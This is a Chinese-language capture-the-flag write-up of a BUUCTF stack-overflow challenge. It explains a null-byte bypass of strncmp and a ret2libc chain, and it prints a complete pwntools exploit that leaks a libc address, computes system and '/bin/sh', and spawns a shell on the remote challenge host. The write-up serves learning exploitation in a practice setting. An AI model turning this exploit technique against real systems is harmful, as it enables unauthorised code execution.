这道题研究了好久。。。顺便算是复习基本ROP思想吧,基本ROP攻击这里我已经待了好久了感觉,这也算是一种总结了
拿到题目首先判断checksec和文件的运行系统
发现no canary的时候就已经有理由感觉是关于栈溢出了
然后进入ida pro
发现是将一个四个字节的东西放进了buf,再调用了一个函数
其实在buuctf中有一道叫ciscn_2019_c_1的题目也喜欢用这个思想,不过那道题是针对函数strlen,而这道题目是针对strncmp,但是这个思路很重要,那就是**\x00绕过**
具体而言,就是在字符串最开始的地方输入转义符\x00,这样在涉及到字符串函数的地方都可以进行绕过判断条件,让其变为0
这可能是我做这几天题目中的一个最经典的小Trick(上一个博客那个强行覆盖got表中的字符串的思路简直是个大trick,思路对我来说惊为天人)
知道了这点以后,我们也只是知道了第一个输入的是\x00,并且我们的buf[7],也就是第8个字符会返回,然后其会进入第二个函数,接着看第2个函数
发现意思是a1必须等于127的话会有0xc8,也就是200个字节可以进行输入,但是我们估计以后发现我们要是实现栈溢出,起码要有f7,也就是247给字节,所以这就需要我们直接把a1变得很大很大
于是我们就可以进行第一个payload的构建,完成了第一步
payload = b'\x00'+b'a'*(0x6)+b'\xff'+b'\xff'
后面的内容就是和ret2libc是一样的思路了,不过这次我学乖了,我还是使用了Libcsearcher,在线网站虽然也可以,但是还是太折磨人了,至少在工作量方面Libcsearcher是真的好用
exp如下:
from pwn import *
from LibcSearcher import *
sh=remote('node4.buuoj.cn','27599')#连接远程靶机
pwn_elf = ELF('./pwn')
__libc_start_main_plt = 0x8048570
__libc_start_main_got = pwn_elf.got["__libc_start_main"]
puts_plt = 0x8048548
puts_got = pwn_elf.got["puts"]
main_addr = 0x08048825
read_got = pwn_elf.got["read"]
payload = b'\x00'+b'a'*(0x6)+b'\xff'+b'\xff'
sh.sendline(payload)
sh.recvuntil("Correct\n")
payload1 =b"a"*(0xe7+0x4)+p32(puts_plt)+p32(main_addr)+p32(__libc_start_main_got)
sh.sendline(payload1)
__libc_start_main_addr = (u32(sh.recv(4)))
#print(hex(__libc_start_main_addr))
libc = LibcSearcher("__libc_start_main",__libc_start_main_addr)
libc_base =__libc_start_main_addr - libc.dump("__libc_start_main")
binsh = libc_base+ libc.dump("str_bin_sh")
system_addr = libc_base+ libc.dump("system")
sh.sendline(payload)
sh.recvuntil("Correct\n")
payload2 =b"a"*(0xe7+0x4)+p32(system_addr)+p32(main_addr)+p32(binsh)
sh.sendline(payload2)
sh.interactive()
要注意的是:(这是我基础ROP的一些总结)
- 任何got相关的代码都直接靠pwntool的got模块就好了,不要想着自己研究在ida里面有没有了,我反正是没找到,如果有大佬知道这个在哪的话可以教教我(真的找得到吗?)
- hex(地址)函数得到的是字符串,不能将其带入地址计算
- sh.recv(4)是因为是32位系统,栈就是以4位为单位的;如果是64位的话那就应该是sh.recv(8),或者用ljust函数将其扩充为8
- 高版本ubuntu里调用system函数的时候需要满足堆栈平衡,就是说调用函数之前的字节数需要是16的倍数(64位系统,32位应该是8的倍数)。这道题虽然没有这个问题,但是之前有遇到过这个情况
- gets函数和scanf函数都可以进行栈溢出漏洞实现